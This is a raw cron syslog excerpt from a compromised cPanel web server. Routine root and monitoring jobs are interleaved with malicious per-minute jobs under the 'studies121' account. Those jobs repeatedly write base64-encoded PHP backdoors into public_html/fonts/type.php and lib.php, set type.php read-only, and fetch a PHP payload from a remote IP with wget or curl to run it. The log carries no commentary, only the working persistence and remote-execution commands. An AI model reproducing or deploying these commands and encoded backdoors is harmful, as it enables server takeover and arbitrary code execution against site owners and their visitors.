Sep  6 23:22:01 ip-184-168-122-23 CROND[11616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:22:01 ip-184-168-122-23 CROND[11617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:23:01 ip-184-168-122-23 CROND[11721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:23:01 ip-184-168-122-23 CROND[11722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:23:01 ip-184-168-122-23 CROND[11725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:23:01 ip-184-168-122-23 CROND[11723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:24:01 ip-184-168-122-23 CROND[11905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:24:01 ip-184-168-122-23 CROND[11910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:24:01 ip-184-168-122-23 CROND[11907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:24:01 ip-184-168-122-23 CROND[11908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:24:01 ip-184-168-122-23 CROND[11909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:25:01 ip-184-168-122-23 CROND[12010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:25:01 ip-184-168-122-23 CROND[12011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:25:01 ip-184-168-122-23 CROND[12014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:25:01 ip-184-168-122-23 CROND[12013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:25:01 ip-184-168-122-23 CROND[12016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:25:01 ip-184-168-122-23 CROND[12018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:26:02 ip-184-168-122-23 CROND[12113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:26:02 ip-184-168-122-23 CROND[12110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:26:02 ip-184-168-122-23 CROND[12111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:26:02 ip-184-168-122-23 CROND[12112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:26:02 ip-184-168-122-23 CROND[12118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:27:02 ip-184-168-122-23 CROND[12227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:27:02 ip-184-168-122-23 CROND[12228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:27:02 ip-184-168-122-23 CROND[12229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:27:02 ip-184-168-122-23 CROND[12226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:28:01 ip-184-168-122-23 CROND[12371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:28:01 ip-184-168-122-23 CROND[12375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:28:01 ip-184-168-122-23 CROND[12373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:28:01 ip-184-168-122-23 CROND[12374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:28:01 ip-184-168-122-23 CROND[12376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:29:01 ip-184-168-122-23 CROND[12454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:29:01 ip-184-168-122-23 CROND[12458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:29:01 ip-184-168-122-23 CROND[12457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:29:01 ip-184-168-122-23 CROND[12459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:30:01 ip-184-168-122-23 CROND[12546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:30:01 ip-184-168-122-23 CROND[12545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:30:01 ip-184-168-122-23 CROND[12550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:30:01 ip-184-168-122-23 CROND[12555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:30:01 ip-184-168-122-23 CROND[12553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:30:01 ip-184-168-122-23 CROND[12554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:30:01 ip-184-168-122-23 CROND[12552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:30:01 ip-184-168-122-23 CROND[12556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:31:01 ip-184-168-122-23 CROND[12732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:31:01 ip-184-168-122-23 CROND[12734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:31:01 ip-184-168-122-23 CROND[12736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:31:01 ip-184-168-122-23 CROND[12735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:31:01 ip-184-168-122-23 CROND[12737]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:32:01 ip-184-168-122-23 CROND[12823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:32:01 ip-184-168-122-23 CROND[12826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:32:01 ip-184-168-122-23 CROND[12828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:32:01 ip-184-168-122-23 CROND[12829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:32:01 ip-184-168-122-23 CROND[12827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:33:01 ip-184-168-122-23 CROND[12908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:33:01 ip-184-168-122-23 CROND[12910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:33:01 ip-184-168-122-23 CROND[12912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:33:01 ip-184-168-122-23 CROND[12911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 23:34:01 ip-184-168-122-23 CROND[13010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 23:34:01 ip-184-168-122-23 CROND[13013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:34:01 ip-184-168-122-23 CROND[13014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
